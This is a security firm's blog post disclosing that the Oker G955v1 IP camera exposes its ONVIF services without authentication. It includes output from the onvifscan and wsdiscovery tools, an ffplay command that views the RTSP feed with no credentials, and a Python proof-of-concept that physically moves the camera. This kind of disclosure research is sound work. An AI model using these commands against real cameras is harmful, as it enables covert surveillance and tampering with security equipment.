IoT Security Fail: Remote Camera Control via Missing ONVIF Authentication


IP security cameras are one of the most popular types of IoT devices on the market today. As a result, standards have been developed to allow interoperability between multiple device manufacturers to help customers avoid vendor lock-in and streamline software and hardware deployments.
Brown Fine Security, which provides IoT device pentesting services, performed research on the Chinese-produced Oker G955v1, a WiFi-enabled IP camera. This IoT device implements the ONVIF standard set of APIs which provides a case study into the security gaps in these types of devices.
The ONVIF Standard

ONVIF, which stands for the Open Network Video Interface Forum, is a global and open industry standard that provides interoperability and standardized interfaces among IP-based physical security products, such as IP cameras, network video recorders, and access control systems. In theory, this enables seamless integration between devices from different manufacturers to enhance security system functionality.
The ONVIF Core Specification states that all services/operations, except those in the PRE_AUTH access class, "shall be protected using digest authentication". That all sounds perfect, but how do we know these devices actually implement the specification correctly?

Introducing onvifscan: An IoT Pentesting Toolset for ONVIF-Enabled Devices
Brown Fine Security has developed a tool, onvifscan, to automate the testing of ONVIF API services & operations for authentication issues.
There are approximately 494 total operations supported in the ONVIF specifications which are tested by onvifscan to check if a target device will allow access to those operations without authentication.
A supporting tool wsdiscovery is also provided which communicates with the WS-Discovery service on an ONVIF-compliant device to obtain the ONVIF HTTP endpoint.
Testing a Chinese ONVIF Camera: No Authentication to be Found
Let's run the wsdiscovery tool on our IP camera which has an IP address of 192.168.100.21 in our lab environment.
$ wsdiscovery 192.168.100.21
DISCOVERY SUMMARY:
============================================================
Device 1:
IP Address: 192.168.100.21:3702
Device Types: dn:NetworkVideoTransmitter
Device Information:
Service Endpoints:
• http://192.168.100.21:8080/onvif/device_service
Metadata Version: 1
Total unique devices discovered: 1
WS-Discovery scan completed.
We can see that the tool gives us the device service endpoint we can use with the onvifscan tool.
$ onvifscan auth http://192.168.100.21:8080/onvif/device_service
ONVIF unauthenticated access test completed (standard mode)
Target: http://192.168.100.21:8080/onvif/device_service
SECURITY ISSUES FOUND: 25
- GetDeviceInformation: SECURITY ISSUE: responded without authentication!
- GetHostname: SECURITY ISSUE: responded without authentication!
- GetNetworkInterfaces: SECURITY ISSUE: responded without authentication!
- GetDNS: SECURITY ISSUE: responded without authentication!
- GetNTP: SECURITY ISSUE: responded without authentication!
- GetUsers: SECURITY ISSUE: responded without authentication!
- GetNetworkProtocols: SECURITY ISSUE: responded without authentication!
- GetProfiles: SECURITY ISSUE: responded without authentication!
- GetVideoSources: SECURITY ISSUE: responded without authentication!
- GetAudioSources: SECURITY ISSUE: responded without authentication!
- GetSnapshotUri: SECURITY ISSUE: responded without authentication!
- GetNodes: SECURITY ISSUE: responded without authentication!
- GetPresets: SECURITY ISSUE: responded without authentication!
- GetDigitalInputs: SECURITY ISSUE: responded without authentication!
- GetDynamicDNS: SECURITY ISSUE: responded without authentication!
- GetZeroConfiguration: SECURITY ISSUE: responded without authentication!
- GetCertificatesStatus: SECURITY ISSUE: responded without authentication!
- GetDiscoveryMode: SECURITY ISSUE: responded without authentication!
- GetVideoEncoderConfigurations: SECURITY ISSUE: responded without authentication!
- GetMetadataConfigurations: SECURITY ISSUE: responded without authentication!
- CreatePullPointSubscription: SECURITY ISSUE: responded without authentication!
- GetConfigurations: SECURITY ISSUE: responded without authentication!
- GetStatus: SECURITY ISSUE: responded without authentication!
- GetSupportedAnalyticsModules: SECURITY ISSUE: responded without authentication!
- GetSerialPorts: SECURITY ISSUE: responded without authentication!
...
Our onvifscan tool has detected 25 services that don't require authentication. In fact, there are no services that are supported by our video device that DO require authentication!
Attacker Access to Video Streaming and Pan-Tilt-Zoom (PTZ) Controls
So none of the ONVIF services require authentication, but what can an attacker practically do with this vulnerability?
The first thing an attacker can do is to obtain the video stream URL and remotely access the video feed.
Running the onvifscan tool with the -v flag gives us the full XML response from all of the ONVIF service requests being made by the tool. Let's look at the GetStreamUri service response:
[AUTH] GetStreamUri: SECURITY ISSUE: responded without authentication!
Response Content:
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
<TRUNCATED>
<SOAP-ENV:Body>
<trt:GetStreamUriResponse>
<trt:MediaUri>
<tt:Uri>rtsp://192.168.100.21/live/ch00_0</tt:Uri>
<tt:InvalidAfterConnect>false</tt:InvalidAfterConnect>
<tt:InvalidAfterReboot>true</tt:InvalidAfterReboot>
<tt:Timeout>PT0H0M0.030S</tt:Timeout>
</trt:MediaUri>
</trt:GetStreamUriResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Let's try to access that RTSP video stream and see if that requires authentication. RTSP is a distinct network service from the ONVIF HTTP service so maybe it actually has authentication?
ffplay -rtsp_transport tcp rtsp://192.168.100.21/live/ch00_0

No authentication required and an attacker can gain access to a live video feed with audio.
The second thing the attacker can do is to access the PTZ controls to move where the camera is pointed physically.
We developed a simple POC script to move the camera downwards:
#!/usr/bin/env python3
import requests
url = "http://192.168.100.21:8080/onvif/device_service"
headers = {"Content-Type": "application/soap+xml"}
soap_request = """<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ContinuousMove xmlns="http://www.onvif.org/ver20/ptz/wsdl">
<ProfileToken>Profile1</ProfileToken>
<Velocity>
<PanTilt xmlns="http://www.onvif.org/ver10/schema"
space="http://www.onvif.org/ver10/tptz/PanTiltSpaces/VelocityGenericSpace"
x="0.0" y="-0.5"/>
<Zoom xmlns="http://www.onvif.org/ver10/schema"
space="http://www.onvif.org/ver10/tptz/ZoomSpaces/VelocityGenericSpace"
x="0.0"/>
</Velocity>
</ContinuousMove>
</s:Body>
</s:Envelope>"""
r = requests.post(url, data=soap_request, headers=headers)
print(r.status_code)
print(r.text)
Running this simple script allows an attacker to move the camera! By changing the relative X,Y values in the XML payload, you can move the camera in different directions.
Summary
Missing Authentication is one of those CWEs (Common Weakness Enumeration) that are found in high volume on IoT devices. Hopefully, onvifscan can help shed light on more vulnerabilities in this classification.
Ready to secure your IoT devices? Brown Fine Security offers flexible, expert IoT pentests tailored to your needs. Contact us for a free consultation, and let’s create a plan that works for you.